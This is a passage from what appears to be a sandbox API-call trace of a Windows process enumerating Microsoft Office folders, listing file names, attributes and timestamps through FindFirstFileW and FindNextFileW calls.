(in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2e5eac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2e5eac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.202] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2e5eac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2e5eac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0284.203] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0284.203] GetProcessHeap () returned 0xaf0000 [0284.203] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0284.203] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0284.203] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0284.203] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0284.203] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0284.203] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 0 [0284.203] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0284.203] GetProcessHeap () returned 0xaf0000 [0284.203] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.205] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0284.205] GetProcessHeap () returned 0xaf0000 [0284.205] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\VISIO\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.206] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.206] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0284.206] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0284.206] GetProcessHeap () returned 0xaf0000 [0284.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0284.206] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0 [0284.206] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0284.206] GetProcessHeap () returned 0xaf0000 [0284.206] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0284.206] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1 [0284.206] GetProcessHeap () returned 0xaf0000 [0284.207] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0284.207] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.208] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.209] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45c4958, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x232, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.DATABASECOMPARE.16.1033.hxn", cAlternateFileName="MSDATA~1.HXN")) returned 1 [0284.209] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf455209f, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.16.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0284.209] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4315e64, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.16.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0284.209] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf455209f, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.16.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0284.209] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC.16.1033.hxn", cAlternateFileName="MSLYNC~1.HXN")) returned 1 [0284.209] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_BASIC.16.1033.hxn", cAlternateFileName="MSLYNC~2.HXN")) returned 1 [0284.209] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_ONLINE.16.1033.hxn", cAlternateFileName="MSLYNC~3.HXN")) returned 1 [0284.209] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4610c9d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.16.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0284.209] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4315e64, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.16.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0284.210] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3f5c319, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.16.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0284.210] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42efb5b, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.16.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0284.210] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf401af21, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.16.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0284.210] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3f825df, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.16.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0284.210] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4315e64, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.16.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0284.210] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB.16.1033.hxn", cAlternateFileName="MSSKYP~1.HXN")) returned 1 [0284.210] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_BASIC.16.1033.hxn", cAlternateFileName="MSSKYP~2.HXN")) returned 1 [0284.211] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINE.16.1033.hxn", cAlternateFileName="MSSKYP~3.HXN")) returned 1 [0284.211] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINEG.16.1033.hxn", cAlternateFileName="MSSKYP~4.HXN")) returned 1 [0284.211] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45c4958, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SPREADSHEETCOMPARE.16.1033.hxn", cAlternateFileName="MSSPRE~1.HXN")) returned 1 [0284.211] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xf3e9d89c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.16.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1 [0284.211] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xf3e9d89c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.16.1033.hxn", cAlternateFileName="MSVISI~2.HXN")) returned 1 [0284.211] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xf3e9d89c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.16.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1 [0284.211] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x3b809370, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.16.1033.hxn", cAlternateFileName="MSWINP~1.HXN")) returned 1 [0284.211] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x3b809370, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ_STD.16.1033.hxn", cAlternateFileName="MSWINP~2.HXN")) returned 1 [0284.212] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3e2b07e, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.16.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1 [0284.212] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3b85588b, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0284.212] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3b85588b, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0 [0284.212] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0284.214] GetProcessHeap () returned 0xaf0000 [0284.214] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0284.214] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, 